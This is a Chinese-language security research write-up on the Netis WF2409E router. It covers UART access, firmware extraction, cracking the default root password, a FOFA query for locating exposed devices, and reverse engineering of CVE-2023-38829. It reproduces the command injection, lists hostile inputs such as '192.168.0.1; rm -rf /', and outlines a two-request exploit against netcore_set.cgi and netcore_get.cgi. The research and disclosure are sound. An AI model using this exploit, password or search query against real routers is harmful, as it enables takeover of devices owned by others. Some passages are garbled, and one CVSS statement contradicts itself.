网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究

1. 设备概述

1.1 主要特性表

1.2 性能检查表

1.3 主要系统组成

2. 联系研究

2.1 通过串口连接设备

3. 启动日志、引导加载程序和操作系统命令

3.1 下载日志分析

需要注意的是，该设备可能不使用 U-Boot。主要特点：

1. 日志直接以 RealTek 启动信息开头：---RealTek(RTL8196E)at 2014.09.29-19:16+0800 v1.0 [16bit](380MHz)
2. 典型的 U-Boot 启动症状缺失：

• 没有 U-Boot 版本信息
• 没有关于初始化 U-Boot 环境变量的信息
• 没有 U-Boot 命令提示符

3. RTL8196E是RealTek的一款廉价路由器芯片，许多基于它的设备使用RealTek自己的引导加载程序而不是U-Boot。
4. 考虑到闪存容量较小 (4MB)，使用轻量级引导加载程序更符合逻辑。实在找不到登录U-boot的方法。

3.2 Bootloader分析

引导加载程序命令：

<RealTek> FLR 80000000 0 100 #Чтение из Flash DB 80000000 100 #查看内存内容

3.3 Shell环境分析

3.4 主要硬件部件说明

4.挂载点信息分析

4.1 获取挂载分区信息

4.2 系统主要有3个挂载点：

• /dev/mtdblock1安装为根目录/
• none作为进程文件系统安装/proc
• tmpfs作为临时文件系统安装/var

4.2.1.根文件系统

根文件系统配置如下：

• 设备：/dev/mtdblock1
• 文件系统类型：squashfs
• 挂载选项：只读 (ro)
• 用途：存放系统文件和程序

这表明使用MTD闪存作为存储介质，使用只读和squashfs压缩来保护系统文件并优化空间。

4.2.2 进程文件系统

进程文件系统配置如下：

• 设备：无（虚拟文件系统）
• 文件系统类型：proc
• 挂载选项：读写 (rw)
• 目的：提供访问系统和流程信息的接口

4.2.3 临时文件系统

临时文件系统配置如下：

• 设备：tmpfs（内存文件系统）
• 挂载点：/var
• 大小限制：230 KB
• 挂载选项：读写 (rw)
• 用途：工作时存储临时文件和数据

4.2.4 发现系统中大部分命令缺失

5. 固件结构和格式

binwalk -E --save netis.bin

binwalk netis.bin

并得到：

偏见	章节标题
0x12F0
0x32818
0x170000

6.固件解压后的文件系统

6.2.1etc/passwd:

使用哈希解密服务https://hashes.com/en/decrypt/hash，成功恢复 root 密码为realtek。

6.2.2web/welcome.htm:

这是默认的 Web 界面页面 

7. FOFA 的标记、指纹、统计

FOFA通过以下特征搜索设备web/welcome.htm:

搜索命令： body="./images/logo_netis.png" && body="display:block; height:60px; float:left;"

要访问设备的管理面板，可能需要使用登录名和密码进行身份验证。 

认证成功后即可登录管理面板 

8. 识别脚本

首先，使用命令找到可用目录，并~/squashfs-root/web$ find使用以下命令Burpsuit检查它们的可用性：

潜在的信息位置：

经过检查，我们可以在==/version.txt==文件中找到以下信息：

• 固件版本
• 建造日期
• Boa服务器信息（从HTTP响应头中的Server字段获取）

使用 Python 脚本提取此信息： 

9. CVSS漏洞列表

目前，该设备已发现以下漏洞，其中该漏洞CVE-2023-38829为命令注入漏洞，存在于路由器的网络测试模块和功能NETIS SYSTEMS Router WF2409E中。通过Web管理界面，可以向这些函数的参数中注入恶意命令，从而导致命令执行。pingtraceroute

ping为了检查这个漏洞，我登录了路由器的控制面板并测试了和中的漏洞traceroute。  这里我实现了一个命令cd && ls && cd etc/ && cat passwd来输出密码文件的内容。

以下是注入命令时路由器控制面板的输出，这证实了漏洞的存在。 

CVSS 3.1检测到的命令注入漏洞分析：

1. 基线评估：

   • 攻击向量 (AV)：网络 (N)，因为可以进行远程利用
   • 攻击复杂度 (AC)：低 (L)，因为它只需要发送 HTTP 请求
   • 所需权限 (PR)：低 (L)，需要基本用户权限（在设备管理界面中进行身份验证）
   • 用户交互 (UI)：无 (N)，无需用户交互
   • 影响范围（S）：修改（C），可能影响连接到路由器的其他设备

2. 影响指标：

   • 隐私影响 (C)：高 (H)，可进行完整系统访问
   • 完整性影响 (I)：高 (H)，任何系统文件都可能被修改
   • 可用性影响 (A)：高 (H)，可能对设备运行产生影响

3. 临时评估指标：
   • 利用成熟度 (E)：存在功能性利用 (F)
   • 修复级别 (RL)：官方修复 (O)
   • 报告可靠性 (RC)：已确认 (C)

最终评分：9.2/10分，属于“严重”类别。 CVSS-矢量： AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

漏洞评分如此高的原因如下：

• 无需特殊条件即可进行远程操作
• 无需身份验证即可获得 root 权限
• 全面影响系统安全
• 漏洞利用的容易程度

10. 弱漏洞分析（BO或CI）

我们首先查找可能存在漏洞的文件： find . -name "*.cgi" ./web/cgi-bin/cgitest.cgi ./bin/cgitest.cgi

我假设CGI程序中可能会出现漏洞，所以首先我将尝试使用IDA Pro分析./web/cgi-bin/cgitest.cgi文件。

首先，您需要找到调用类似函数的地方；通过搜索，我们能够找到字符串“killall ping”。  分析调用位置时可以看到，程序在初始化了ping和traceroute函数后，调用了/bin/network_test.sh

而漏洞所在的地方正是在网络测试模块中。好吧，我们需要分析一下/bin/network_test.sh。

首先您需要执行搜索。 

找到函数network_test_sh：  …… 

对函数的详细分析可以揭示执行命令和保存结果的模块。 

其中：执行 ping 命令：ping -c %d -s %d %s -W %d > %s &

• 平参数：
  • -c: ping 次数
  • -s：数据包大小（负8字节）
  • -W：超时
  • 配置中的目标 IP 地址

执行traceroute命令：traceroute -I -m %d %s > %s &

• 路由跟踪参数：
  • -I：使用ICMP协议
  • -m：最大跳转次数
  • 配置中的目标 IP 地址

# Ситуация с командой ping
loc_4205B8:
lw v0, 0x108+var_D4(sp) #прямая загрузка параметров
lw a3, 0x108+var_D8(sp)
la t9, sprintf #прямой вызов sprintf #отсутствует проверка параметров перед sprintf

# Ситуация с командой traceroute
loc_420574:
la $t9, sprintf #также прямой вызов sprintf
lw $a2, 0x108+var_D0($sp) #также отсутствует проверка параметров

# После построения команды происходит прямое выполнение
la $t9, run_by_system
jalr $t9 ; run_by_system #прямой вызов system для выполнения команды
move $a0, $s1 #отсутствуют проверки безопасности

该代码缺乏对输入参数的充分验证，从而产生命令注入的潜在风险。攻击者可以操纵传递的IP参数来执行shell命令，例如：

# Нормальный ввод 192.168.0.1

# Примеры вредоносного ввода
192.168.0.1; rm -rf / #удаление файлов
192.168.0.1 & id & #выполнение произвольных команд

11. 操作脚本

11.1.脚本概述

该脚本利用设备 Web 界面中的命令注入漏洞，通过创建特殊的 HTTP 请求来远程执行命令。该脚本使用两个 HTTP POST 请求来利用该漏洞：第一个请求执行命令，第二个请求接收执行结果。

第一个包（netcore_set.cgi）的用途是：命令的实现和执行 

第二个包（netcore_get.cgi）旨在：获取命令的结果 

11.2 第一阶段：命令注入

1. 使用以下关键参数形成 POST 请求正文：

{ "mode_name": "netcore_set", 
 "tools_type": "2", 
 "tools_ip_url": f"| {command}", # точка инъекции команды 
 "tools_cmd": "1", 
 "net_tools_set": "1" }

2. 所有参数的URL编码
3. 向 netcore_set.cgi 发送 POST 请求

11.3 第二阶段：获得结果

1. 第二个 POST 请求的形成：

{ "mode_name": "netcore_get",    
  "noneed": "noneed" }

2. 向 netcore_get.cgi 发送请求
3. 解析响应中的tools_results字段，得到命令执行的结果

11.4 测试脚本

为了测试脚本，我ceshi在主机上创建了一个文件并尝试通过脚本将其上传到设备

成功地！

事实上，此漏洞允许您获得对设备的完全控制，因为设备默认使用 root 访问权限

https://github.com/Victorique-123/CVE-2023-38829-NETIS-WF2409E_Report